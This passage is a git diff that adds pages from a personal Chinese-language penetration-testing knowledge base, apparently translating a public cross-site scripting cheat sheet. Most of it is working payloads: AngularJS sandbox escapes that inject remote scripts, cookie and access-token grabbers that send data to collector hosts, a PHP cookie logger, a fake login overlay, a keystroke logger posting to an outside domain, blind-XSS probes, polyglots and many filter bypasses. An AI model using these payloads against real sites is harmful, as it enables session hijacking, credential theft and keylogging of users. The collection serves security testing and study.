x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);a.sub.call.call({}[a].getOwnPropertyDescriptor(a.sub.__proto__,a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+

AngularJS 旁路晶圆〔 Imperva 〕

+
x=['constr', 'uctor'];a=x.join('');b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'pr\\u{6f}mpt(d\\u{6f}cument.d\\u{6f}main)')()
+

盲 XSS​

+

1.0.1-1.1.5&&>1.6.0 马里奥 · 海德里希(Cure53)

+

constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()

+

Lewis Ardern(Synopsys)和 Gareth Heyes(PortSwigger)的更短的 1.0.1-1.1.5&&>1.6.0

+

$on.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()

+

1.2.0-1.2.5 加雷斯 · 海耶斯(PortSwigger)

+

a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')

+

1.2.6-1.2.18 作者:Jan Horn(Cure53,现就职于 Google Project Zero)

+

(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()

+

1.2.19(火狐)作者:Mathias Karlsson

+

toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);

+

1.2.20-1.2.29 作者:Gareth Heyes(PortSwigger)

+

a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')

+

1.3.0-1.3.9 作者:Gareth Heyes(PortSwigger)

+

a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),a')

+

1.4.0-1.5.8 作者:加雷斯 · 海耶斯(PortSwigger)

+

a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')

+

1.5.9-1.5.11 作者:Jan Horn(Cure53,现就职于 Google Project Zero)

+

c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;

+

自动消毒​

+
+

为了系统地阻止 XSS 错误,Angular 默认情况下将所有值视为不可信。当一个值通过属性、属性、样式、类绑定或插值从模板插入 DOM 时,Angular 会清除和转义不受信任的值。

+
+

但是,可以将值标记为可信,并使用以下方法阻止自动清除:

+
    +
  • bypassSecurityTrustHtml
  • +
  • bypassSecurityTrustScript
  • +
  • 旁路安全信任样式
  • +
  • bypassSecurityTrustUrl
  • +
  • bypassSecurityTrustResourceUrl
  • +
+

使用不安全方法的组件示例 bypassSecurityTrustUrl:

+
import { Component, OnInit } from '@angular/core';

@Component({
selector: 'my-app',
template: `
<h4>An untrusted URL:</h4>
<p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
<h4>A trusted URL:</h4>
<p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
`,
})
export class App {
constructor(private sanitizer: DomSanitizer) {
this.dangerousUrl = 'javascript:alert("Hi there")';
this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
}
}
+

XSS

+

在进行代码审查时,您希望确保没有用户输入是可信的,因为它会在应用程序中引入安全漏洞。

+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html new file mode 100644 index 0000000..13783a8 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html @@ -0,0 +1,49 @@ + + + + + +02.XSSWithRelativePathOverwrite.md | wjlin0 + + + + + + + +

02.XSSWithRelativePathOverwrite.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:51:19
+

具有相对路径覆盖的 XSS-IE 8/9 及更低版本

+

您需要这 3 个组件

+
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
+

一个小例子

+
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>
+

漏洞的解释

+
+

Meta 元素强制 IE 的文档模式与执行表达式所需的 IE7 兼容。我们的持久文本{} * { xss:expression(open(alert(1)))包含在页面上,在实际情况下,它将是一个配置文件页面,或者可能是其他用户可以查看的共享状态更新。我们使用“open”来防止重复执行警报的客户端 DoS。 +一个简单的“rpo.php/”请求使相对样式将页面本身加载为样式表。实际的请求是“/labs/xss_horror_show/chapter7/rpo.php/styles.css”,浏览器认为还有另一个目录,但实际的请求被发送到文档,这本质上就是 rpo 攻击的工作方式。

+
+

演示 1 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php 演示 2 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3 多浏览器:

+

发件人: http://www.thespanner.co.uk/2014/03/21/rpo/

+

浏览器 IE8/IE9 的变异 XSS​

+
<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>
+

IE 将多次读取和写入(解码)HTML,攻击者 XSS 负载将发生变异并执行。

+

参考文献​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html new file mode 100644 index 0000000..86a2c9a --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html @@ -0,0 +1,569 @@ + + + + + +XSS注入 | wjlin0 + + + + + + + +

XSS注入

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:31:55
+

跨站点脚本

+
+

跨站点脚本(XSS)是一种计算机安全漏洞,通常存在于 web 应用程序中。XSS 使攻击者能够将客户端脚本注入其他用户查看的网页。

+
+

总结​

+ +

漏洞详细信息​

+

跨站点脚本(XSS)是一种计算机安全漏洞,通常存在于 web 应用程序中。XSS 允许攻击者将恶意代码注入网站,然后在任何访问该网站的人的浏览器中执行。这可能允许攻击者窃取敏感信息,如用户登录凭据,或执行其他恶意操作。

+

XSS 攻击主要有三种类型:

+
    +
  • +

    脚本漏洞:在反射 XSS 攻击中,恶意代码嵌入发送给受害者的链接中。当受害者点击链接时,代码会在他们的浏览器中执行。例如,攻击者可以创建一个包含恶意 JavaScript 的链接,并通过电子邮件将其发送给受害者。当受害者点击链接时,JavaScript 代码会在他们的浏览器中执行,使攻击者能够执行各种操作,例如窃取他们的登录凭据。

    +
  • +
  • +

    存储型跨站脚本漏洞:在存储 XSS 攻击中,恶意代码存储在服务器上,每次访问易受攻击的页面时都会执行。例如,攻击者可以在博客文章的评论中注入恶意代码。当其他用户查看博客文章时,恶意代码会在他们的浏览器中执行,使攻击者能够执行各种操作。

    +
  • +
  • +

    基于 DOM 的 XSS:是一种 XSS 攻击,当易受攻击的 web 应用程序修改用户浏览器中的 DOM(文档对象模型)时会发生这种攻击。例如,当用户输入以某种方式用于更新页面的 HTML 或 JavaScript 代码时,就会发生这种情况。在基于 DOM 的 XSS 攻击中,恶意代码不会发送到服务器,而是直接在用户的浏览器中执行。这可能会使检测和预防这些类型的攻击变得困难,因为服务器没有任何恶意代码的记录。

    +
  • +
+

为了防止 XSS 攻击,正确验证和净化用户输入非常重要。这意味着确保所有输入都符合必要的标准,并删除任何潜在的危险字符或代码。在浏览器中呈现用户输入之前,转义用户输入中的特殊字符也很重要,以防止浏览器将其解释为代码。

+

利用代码或 POC​

+

XSS 数据采集器​

+

获得管理员 cookie 或敏感访问令牌后,以下负载将其发送到受控页面。

+
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
+

将收集到的数据写入文件。

+
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
+

紧身胸衣​

+
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
+

界面伪装​

+

利用 XSS 修改页面的 HTML 内容,以显示虚假的登录表单。

+
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
+

Javascript 键盘记录程序​

+

另一种收集敏感数据的方法是设置一个 javascript 键盘记录程序。

+
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
+

其他方式​

+

http://www.xss-payloads.com/payloads-list.html?a#category=all上的更多漏洞利用:

+ +

识别 XSS 端点​

+

此负载在开发人员控制台中打开调试器,而不是触发弹出警报框。

+
<script>debugger;</script>
+

具有内容托管的现代应用程序可以使用 [沙盒域][沙盒域]

+
+

以安全地托管各种类型的用户生成的内容。其中许多沙盒专门用于隔离用户上传的 HTML、JavaScript 或 Flash 小程序,并确保它们不能访问任何用户数据。

+
+

因此,最好使用 alert(document.domain) 或而不是作为默认 XSS 有效载荷,以便了解 XSS 实际在哪个范围内执行。

+

更好的有效载荷更换 <script>alert(1)</script>:

+
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
+

虽然 alert() 对于反射的 XSS 来说很好,但它可能会很快成为存储的 XSS 的负担,因为每次执行都需要关闭弹出窗口,因此可以使用 console.log() 在开发人员控制台的控制台中显示消息(不需要任何交互)。

+

示例:

+
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
+

参考文献:

+ +

工具​

+

大多数工具也适用于盲目的 XSS 攻击:

+
    +
  • XSSStrike:非常受欢迎,但遗憾的是维护得不太好
  • +
  • xsser:利用无头浏览器检测 XSS 漏洞
  • +
  • Dalfox:由于 Go 中的实现,功能广泛且速度极快
  • +
  • XSpear:类似于 Dalfox,但基于 Ruby
  • +
  • domdig:无头铬 XSS 测试仪
  • +
+

HTML/应用程序中的 XSS​

+

普通有效载荷​

+
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svg onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
+

使用 HTML5 标记的 XSS​

+
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
+

使用远程 JS 的 XSS​

+
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
+

隐藏输入中的 XSS​

+
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
+

有效载荷反映为大写时的 XSS​

+
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
+

基于 DOM 的 XSS​

+

基于 DOM XSS 接收器。

+
#"><img src=/ onerror=alert(2)>
+

JS 上下文中的 XSS​

+
-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
+

包装器中的 XSS javascript 和数据 URI​

+

带有 javascript 的 XSS:

+
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
+

XSS 带数据:

+
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
+

带 vbscript 的 XSS:仅 IE

+
vbscript:msgbox("XSS")
+

文件中的 XSS​

+

** 注意:这里使用 XML CDATA 部分,这样 JavaScript 负载就不会被视为 XML 标记。

+
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
+

XML 中的 XSS​

+
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
+

XSS 和 SVG​

+
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
+

SVG 中的 XSS(短)​

+
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
+

降价中的 XSS​

+
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
+

SWF 闪存应用程序中的 XSS​

+
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
+

更多有效载荷进入/文件

+

SWF 闪存应用程序中的 XSS​

+
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
+

CSS 中的 XSS​

+
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
background-color: #cccccc;
}
</style>
</head>
<body>
<div>lol</div>
</body>
</html>
+

PostMessage 中的 XSS​

+
+

如果目标来源为星号 *,则可以将消息发送到引用了子页面的任何域。

+
+
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>

<script>
document.getElementById('btn').onclick = function(e){
window.poc = window.open('http://www.redacted.com/#login');
setTimeout(function(){
window.poc.postMessage(
{
"sender": "accounts",
"url": "javascript:confirm('XSS')",
},
'*'
);
}, 2000);
}
</script>
</html>
+

盲 XSS​

+

XSS 猎人​

+
+

XSS Hunter 允许您查找各种跨站点脚本漏洞,包括经常错过的盲目 XSS。该服务通过托管专门的 XSS 探测来工作,在启动时,扫描页面并将有关易受攻击页面的信息发送给 XSS Hunter 服务。

+
+

XSS Hunter 已被弃用,它可在https://xsshunter.com/app上获得。

+

您可以设置替代版本

+ +
"><script src="https://js.rip/<custom.name>"></script>
"><script src=//<custom.subdomain>.xss.ht></script>
<script>$.getScript("//<custom.subdomain>.xss.ht")</script>
+

其他盲 XSS 工具​

+ +

盲 XSS 端点​

+
    +
  • 联系人表格
  • +
  • 票务支持
  • +
  • 引用人标题 +
      +
    • 自定义网站分析
    • +
    • 管理面板日志
    • +
    +
  • +
  • 用户代理 +
      +
    • 自定义网站分析
    • +
    • 管理面板日志
    • +
    +
  • +
  • 注释框 +
      +
    • 管理小组
    • +
    +
  • +
+

小贴士​

+

在部署重型盲 XSS 测试工具之前,您可以使用XSS 数据采集器和单行 HTTP 服务器来确认盲 XSS 的存在。

+

例如有效载荷

+
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
+

例如,单行 HTTP 服务器:

+
$ ruby -run -ehttpd . -p8080
+

突变 XSS​

+

当 HTML 标记位于 element.innerHTML 中时,请使用浏览器怪癖重新创建一些 HTML 标记。

+

来自 Masato Kinugawa 的突变 XSS,用于对抗谷歌搜索上的 DOMPurify 组件。技术博客文章可在https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ 和上获得

+
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
+

Polyglot XSS​

+

XSS Polyglot-0xsobky

+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+

XSS Polyglot-Ashar Javed

+
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+

XSS Polyglot-马蒂亚斯 · 卡尔松

+
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
+

Polyglot XSS-R 蛇

+
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
+

Daniel Miessler 的 Polyglot XSS

+
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
+

Polyglot XSS-@s0md3vXSS 备忘单-PortSwigger

+
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
+

https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg

+
<svg%0Ao%00nload=%09((pro\u006dpt))()//
+

Polyglot XSS-来自@ 文件描述符的 Polyglot 挑战

+
# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

# by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

# by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

# by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
+

Polyglot XSS-来自brutelogic

+
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
+

过滤器旁路和奇异有效载荷​

+

旁路区分大小写​

+
<sCrIpt>alert(1)</ScRipt>
+

绕过标签黑名单​

+
<script x>
<script x>alert('XSS')<script y>
+

通过代码评估绕过单词黑名单​

+
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
+

绕过不完整的 html 标记​

+

适用于 IE/Firefox/Chrome/Safari

+
<img src='1' onerror='alert(0)' <
+

跳过字符串的引号​

+
String.fromCharCode(88,83,83)
+

绕过脚本标记中的引号​

+
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';`?>
</script>
</html>
+

在 mousedown 事件中绕过引号​

+

您可以在鼠标按下事件处理程序中绕过带有“”的单引号

+
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
+

旁路点过滤器​

+
<script>window['alert'](document['domain'])</script>
+

将 IP 地址转换为十进制格式:IE

+
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
+

Base64 使用 Linux 命令对 XSS 有效负载进行编码:IE。 echo -n "alert(document.cookie)" | base64 =

+

字符串不使用括号​

+
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
+

绕过括号和分号​

+
// From @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

// From @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

// From @cgvwzq
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
+

绕过 onxxxx= 黑名单​

+
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

// Bypass onxxx= filter with a null byte/vertical tab
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

// Bypass onxxx= filter with a '/'
<img src='1' onerror/=alert(0) />
+

旁路空间过滤器​

+
// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>

// Bypass space filter with 0x0c/^L
<svg onload = alert(1) >

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
+

绕过电子邮件筛选器​

+

(符合 RFC)

+
"><svg/onload=confirm(1)>"@x.y
+

绕过文档黑名单​

+
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
+

绕过 document.cookie 黑名单​

+

这是在 Chrome、Edge 和 Opera 上访问 cookie 的另一种方式。将 COOKIE NAME 替换为您想要的 COOKIE。如果 getAll()方法适合您的需求,您也可以研究它。

+
window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});
+

绕过在字符串中使用 javascript​

+
<script>
foo="text </script><script>alert(1)</script>";
</script>
+

绕过使用其他方式重定向​

+
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
+

绕过使用其他方式执行警报​

+

来自@ 野蛮的推特。

+
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
+

来自@theMiddle-使用全局变量

+

Object.keys()方法返回给定对象自己的属性名称的数组,其顺序与普通循环相同。这意味着我们可以使用其索引号而不是函数名称访问任何 JavaScript 函数。

+
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5
+

那么调用警报是:

+
Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")
+

